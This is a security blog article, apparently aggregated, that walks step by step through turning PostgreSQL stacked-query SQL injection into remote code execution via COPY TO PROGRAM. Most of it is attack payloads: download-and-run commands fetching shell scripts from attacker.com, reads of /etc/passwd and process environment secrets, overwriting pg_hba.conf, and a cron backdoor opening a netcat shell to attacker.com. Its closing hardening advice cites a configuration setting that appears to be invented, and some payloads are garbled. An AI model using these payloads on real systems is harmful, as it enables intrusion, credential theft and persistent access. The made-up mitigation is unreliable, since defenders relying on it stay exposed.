Listen to this Post

Introduction
A single misplaced JSON parameter, a database driver caught off guard, and a PostgreSQL instance running as a superuser—this is the modern recipe for a total infrastructure compromise. The core attack chain leverages a pre-authentication SQL injection that not only reads sensitive data but also weaponizes PostgreSQL’s legitimate `COPY TO PROGRAM` feature to execute arbitrary operating system commands, effectively turning the database server into an attacker-controlled foothold. This article dissects a real-world $1,250 bounty chain, demonstrating how stacked queries bypass JDBC guards and escalate a simple SQLi into full remote code execution (RCE) on the host.
Learning Objectives
- Understand how to identify and exploit stacked query SQL injection in PostgreSQL through JDBC drivers.
- Learn to chain SQL injection with PostgreSQL’s `COPY TO PROGRAM` for OS command execution.
- Master detection, exploitation, and mitigation techniques for superuser-privileged database compromises.
You Should Know
- The Core Exploit Chain: From JSON Field to Reverse Shell
The vulnerability originates from insecure concatenation of user-supplied input into SQL queries. In the reported case, a JSON field called `module` was directly inserted into a `SELECT` query’s column list, while a `tableName` field was embedded into a `FROM` clause using String.format(). This allowed attackers to break out of the intended query structure and inject arbitrary PostgreSQL syntax.
To understand the impact, consider a vulnerable endpoint expecting:
{"username": "test", "module": "users"}
Internally constructing:
SELECT id, name FROM modules WHERE module = 'users'
An attacker changes the payload to:
{"module": "users' UNION SELECT NULL, pg_read_file('/etc/passwd'); -- "}
But the real game-changer is stacked query injection. PostgreSQL supports multiple statements separated by semicolons if the driver permits it. The exploit used:
'; CREATE TABLE pwn (cmd TEXT); COPY pwn FROM PROGRAM 'id > /tmp/out'; --
This executes `id` on the OS as the `postgres` user and writes output to a file.
Step‑by‑step guide:
- Identify the injection point. Look for JSON parameters concatenated into SQL strings without parameterized queries. Common locations include `WHERE` clauses, `ORDER BY` columns, and `FROM` table names.
- Confirm stacked query support. Inject `; SELECT pg_sleep(5); –` and measure response delay. If the application pauses, stacked queries are enabled.
3. Enumerate superuser privileges. Execute:
; SELECT usesuper FROM pg_user WHERE usename = current_user; --
If `usesuper` is t, you have superuser rights—the critical condition for RCE.
4. Achieve command execution. Use the `COPY TO PROGRAM` primitive. For Linux:
; COPY (SELECT '') TO PROGRAM 'wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh'; --
For Windows (PowerShell):
; COPY (SELECT '') TO PROGRAM 'powershell.exe -Command "Invoke-WebRequest -Uri http://attacker.com/rs.ps1 -OutFile $env:TEMP\rs.ps1; powershell -File $env:TEMP\rs.ps1"'; --
5. Verify execution. Use out-of-band (OOB) DNS callbacks or create a file in a writable directory (e.g., `/tmp/` or C:\Temp). The reported bounty confirmed RCE via a DNS callback proving command execution.
2. Bypassing JDBC Guards: The Multi-Statement Execution Surprise
Not all database drivers handle stacked queries equally. The JDBC specification does not guarantee support for multiple statements in a single `Statement` object. However, certain misconfigurations or specific driver versions can allow semicolon-separated queries to slip through. In this chain, a stacked multi-statement payload bypassed the JDBC guard, reaching the `COPY … TO PROGRAM` primitive.
Step‑by‑step guide to test and exploit:
- Probe JDBC behavior. Send a harmless stacked query:
; SELECT 1; SELECT 2; --
If you receive a result set or no error, the driver permits multi-statement execution.
- Leverage the `preferQueryMode=simple` weakness. Some applications force simple query mode, which disables parameter binding and makes stacked injection easier. Inject:
; DROP TABLE IF EXISTS test; CREATE TABLE test (data TEXT); --
- Chain with file read. Read arbitrary files as the `postgres` OS user:
; CREATE TABLE temp (line TEXT); COPY temp FROM '/etc/passwd'; SELECT FROM temp; --
Or use `pg_read_file()`:
; SELECT pg_read_file('/var/log/postgresql/postgresql.log', 0, 1000); --
4. Overwrite files. The same primitive can overwrite configuration files:
; COPY (SELECT 'malicious config') TO PROGRAM 'tee /etc/postgresql/pg_hba.conf'; --
This could allow disabling authentication or injecting backdoor users.
3. Enumeration and Privilege Escalation on the Host
Once you have command execution as the `postgres` user, the next step is to escalate privileges on the host operating system. The `postgres` user is often part of the `ssl-cert` or `shadow` groups, and misconfigured `sudo` entries can provide a path to root.
Step‑by‑step guide for post‑exploitation:
1. Check sudo rights. Execute:
sudo -l
If `postgres` can run any command as root without a password, the game is over.
2. Extract credentials from environment variables. The PostgreSQL process may have loaded database credentials or API keys as environment variables. Read /proc/self/environ:
; SELECT pg_read_file('/proc/self/environ'); --
3. Harvest configuration files. Look for:
– `/var/lib/postgresql//postgresql.conf` (contains data_directory, listen_addresses)
– `/etc/postgresql//pg_hba.conf` (authentication rules)
– Application configuration files in the web root
4. Establish persistence. Create a cron job:
; COPY (SELECT '/5 postgres nc -e /bin/sh attacker.com 4444') TO PROGRAM 'tee /etc/cron.d/backdoor'; --
5. Lateral movement. Use the compromised database server to pivot to internal networks. Extract connection strings from the database to other services like Redis, MongoDB, or internal APIs.
4. Mitigation and Hardening: Breaking the Chain
Preventing this attack requires multiple layers of defense. The chain is broken by eliminating any single link: parameterized queries, restricted database privileges, or disabling dangerous features.
Step‑by‑step hardening guide:
- Use parameterized queries exclusively. Never concatenate user input into SQL strings, even in `ORDER BY` or `FROM` clauses. Use an ORM or prepared statements.
- Revoke superuser from application accounts. Create dedicated roles with the minimum necessary privileges:
CREATE ROLE app_user WITH LOGIN NOSUPERUSER; GRANT SELECT, INSERT, UPDATE ON my_table TO app_user;
- Disable
COPY TO/FROM PROGRAM. Set the following inpostgresql.conf:enable_copy_program = off
This new GUC (Grand Unified Configuration) blocks the RCE primitive even for superusers.
- Block stacked queries at the driver level. For JDBC, ensure `preferQueryMode` is not set to
simple. The default `extended` mode mitigates many injection vectors. Use a connection string like:jdbc:postgresql://host:5432/db?preferQueryMode=extended
- Run PostgreSQL as a non-privileged user. Ensure the `postgres` OS user has no sudo rights and minimal file system permissions. Use `systemd` hardening directives:
ProtectSystem=strict PrivateDevices=yes NoNewPrivileges=yes
What Undercode Say
- Stacked queries are not dead. While many developers believe modern drivers block multi-statement execution, real-world misconfigurations and driver quirks still allow them.
- Superuser is the new admin. Running application databases with superuser privileges is a root-level risk. The $1,250 bounty chain would have been impossible if the application used a restricted role.
- COPY TO PROGRAM is a loaded gun. This feature, designed for convenience, becomes a direct RCE vector when combined with SQL injection. Disable it unless absolutely needed.
The analysis reveals that the most effective defense is not a single silver bullet but a combination of secure coding practices, minimal privilege enforcement, and database hardening. Organizations should audit every database connection that uses superuser roles and treat `COPY PROGRAM` as an opt-in feature requiring explicit justification.
Prediction
As AI‑generated code becomes more prevalent, we will see a resurgence of classic SQL injection vulnerabilities in unexpected places. Developers relying on LLM‑produced snippets often inherit unsafe string concatenation patterns. In the next 12 months, expect a rise in “copy‑paste SQLi” exploits, particularly in internal APIs and microservices where security testing is overlooked. The PostgreSQL community will likely make `enable_copy_program` default to `off` in a future major release, and bug bounty programs will reward hunters who uncover stacked query bypasses in JDBC drivers. Organizations that fail to implement defense‑in‑depth will continue to pay bounties—just like the $1,250 awarded this week.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Javier Rieiro – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


